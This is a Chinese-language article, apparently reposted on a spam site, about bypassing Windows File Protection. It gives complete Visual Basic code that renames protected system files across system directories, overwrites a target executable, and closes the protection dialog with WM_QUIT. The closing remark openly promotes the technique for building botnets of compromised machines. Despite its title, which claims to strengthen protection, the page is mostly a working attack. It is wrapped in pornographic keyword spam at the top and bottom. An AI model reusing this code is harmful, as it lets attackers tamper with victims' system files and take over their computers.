六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

首頁 > 電腦資訊 > 電腦知識

幾招技巧完全加強Windows文件保護穩定性

作者:佚名   來源:本站   時間:2018-06-28  點擊:98次

  “破壞”思想

    還是先說思想,有了思想萬事都好辦。注意“攻略”一文中對話框的標題,是不是“Windows 文件保護”啊。我們就從它下手。有兩種方法,一是根據這個窗口標題查找,找到后將其隱藏,這個可以通過ShowWindow API和SW_HIDE消息來完成,但是畢竟窗口仍然存在,不是很安全。第二種也同樣是根據這個窗口標題查找,找到后不是將其隱藏,而是通過發送系統消息直接關閉。下面我將以一個完整的替換文件、關閉對話框的例子來講解。這里選擇第二種方法。

    界面設計

    好了,還是先給出各控件布局,及對應屬性。

    初始化

    程序開始首當其沖的當然是初始化了。在這里要聲明需要使用的API、常數及變量,并獲取Windows目錄的完整路徑。

    '獲取WINDOWS安裝所在目錄的API

    Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

    '查找窗口句柄的API

    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

    '根據句柄關閉指定窗口的API

    Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

    '關閉窗口的常數

    Private Const WM_QUIT = &H12

    '存放Windows目錄的變量

    Dim WindowsDirectory As String

    Private Sub Form_Load()

    '存放獲取的Windows目錄的字符串緩沖區

    Dim Path As String

    '設置緩沖區內容,以便分解Windows目錄的完整路徑

    Path = Space(255)

    '獲取Windows目錄的路徑,存放進緩沖區

    Call GetWindowsDirectory(Path, 255)

    '分解Windows目錄的完整路徑

    WindowsDirectory = Mid(Path, 1, InStr(1, Path, " ") - 2)

    '指定被替換文件的完整路徑及文件名

    txtSource.Text = WindowsDirectory & "\" & "notepad.exe"

    '指定替換文件的完整路徑及文件名

    txtDestination = WindowsDirectory & "\" & "regedit.exe"

    End Sub

    然后就要開始替換文件的過程了。判斷指定的被替換文件和替換文件是否都存在,存在的話則就根據復選框選擇的路徑進行替換,這里的思想是將所有的文件都改名了,就沒有辦法恢復了,然后將替換文件復制成被替換文件,這樣就避免了直接替換而可能產生意料情況。替換后將定時器激活,進行對話框查找。

    Private Sub cmdDo_Click()

    '執行時屏蔽所有的操作對象,防止誤操作,而導致程序崩潰

    cmdDo.Enabled = False: txtSource.Enabled = False: txtDestination.Enabled = False

chkWindows.Enabled = False: chkSystem32.Enabled = False: chkDllcache.Enabled = False: chkI386.Enabled = False

    '設置錯誤陷阱,因為下面的程序涉及到文件操作

    On Error Resume Next

    '判斷被替換文件和替換文件是否存在

    If Dir(txtSource.Text) <> "" And Dir(txtDestination.Text) <> "" Then

    '存在,定義被替換文件的文件名存放變量

    Dim FileName As String

    '獲取被替換文件的文件名

    FileName = Mid(txtSource.Text, InStrRev(txtSource.Text, "\") + 1, Len(txtSource.Text) - InStrRev(txtSource.Text, "\"))

    '判斷是否選中Dllcache復選框

    If chkDllcache.Value = 1 Then

    '是則對Dllcache下的被替換文件改名

    Name WindowsDirectory & "\system32\dllcache\" & FileName As WindowsDirectory & "\system32\dllcache\" & FileName & ".bak"

    End If

    '判斷是否選中System32復選框

    If chkSystem32.Value = 1 Then

    '是則對System32下的被替換文件改名

    Name WindowsDirectory & "\system32\" & FileName As WindowsDirectory & "\system32\" & FileName & ".bak"

    End If

    '判斷是否選中I386復選框

    If chkI386.Value = 1 Then

    '是則對I386下的被替換文件改名

    Name WindowsDirectory & "\ServicePackFiles\i386\" & FileName As WindowsDirectory & "\ServicePackFiles\i386\" & FileName & ".bak"

    End If

    '判斷是否選中Windows復選框

    If chkWindows.Value = 1 Then

    '是則對Windows下的被替換文件改名

    Name WindowsDirectory & "\" & FileName As WindowsDirectory & "\" & FileName & ".bak"

    End If

    '將替換文件復制為被替換文件

    FileCopy txtDestination.Text, txtSource.Text

    '激活定時器

    timCheck.Enabled = True

    End If

    End Sub

    最后則是不停的監視那個“Windows 文件保護”的對話框,一出來就通過PostMessage API向其發送WM_QUIT系統消息,將其關閉。這里要注意一點,是用PostMessage而不是SendMessage,主要是因為消息不需要等待,如果用后者,則關閉不了“攻略”一文中的對話框。反而會彈出另一個對話框。

    Private Sub timCheck_Timer()

    '設置錯誤陷阱

    On Error Resume Next

    '定義存放"Windows 文件保護"窗口句柄的變量

    Dim hwnd As Long

    '查找"Windows 文件保護"窗口,并把對應的句柄存入變量

    hwnd = FindWindow(vbNullString, "Windows 文件保護")

    '判斷是否找到窗口

    If hwnd <> 0 Then

    '是則關閉窗口

    Call PostMessage(hwnd, WM_QUIT, 0, 0)

    '給出成功提示

    MsgBox "替換成功!", vbInformation

    '退出程序

    End

    End If

    End Sub

    好了,到這里就可以編譯使用了。

    寫在最后

    這樣簡簡單單幾步就把MS安全強大的WFP給突破了,讓我自己也有點不敢相信,不過這是事實,不得不信啊。一個“小”洞+一款利器=多多肉雞,相信你絕對不會錯過的。

推薦游戲

換一換
主站蜘蛛池模板: 最新韩国伦理片大全手机在线播放 | 色综合天天综合网国产成人网 | 揉女胸视频www网站免费观看 | 亚洲 欧美 自拍 卡通 综合 | 色老头久久久久久久久久 | 天天干天天操天天玩 | 天天干狠狠 | 伊人久久中文字幕久久cm | 午夜视频在线免费播放 | 四虎影视免费永久在线观看黄 | 四虎影视免费永久在线观看黄 | 亚洲欧美在线精品一区二区 | 亚洲精品色 | 婷婷综合缴情亚洲狠狠图片 | 视频二区欧美 | 欧美亚洲激情视频 | 中文字幕国产精品 | 午夜精品久久久久久久四虎 | 欧美一区二区三区日韩免费播 | 青青草精品在线观看 | 午夜精品一区 | 婷婷综合在线观看丁香 | 在线观看91精品国产剧情免费 | 日本欧美激情 | 婷婷亚洲综合五月天小说 | 欲色影视天天一区二区三区色香欲 | 中文字幕第15页 | 日韩免费视频观看 | 日韩视频在线观看 | 清纯制服被啪啪护士 | 手机看片日韩日韩国产在线看 | 日日日日人人人夜夜夜2017 | 色综合久久久久久久久久久 | 日本午夜网站 | 亚洲欧美日韩综合久久久久 | 日本成人午夜 | 青青青视频免费线看 视频 青青青视频免费观看 | 天天在线综合网 | 色偷偷91综合久久噜噜app | 色天使色婷婷丁香久久综合 | 欧美整片在线 |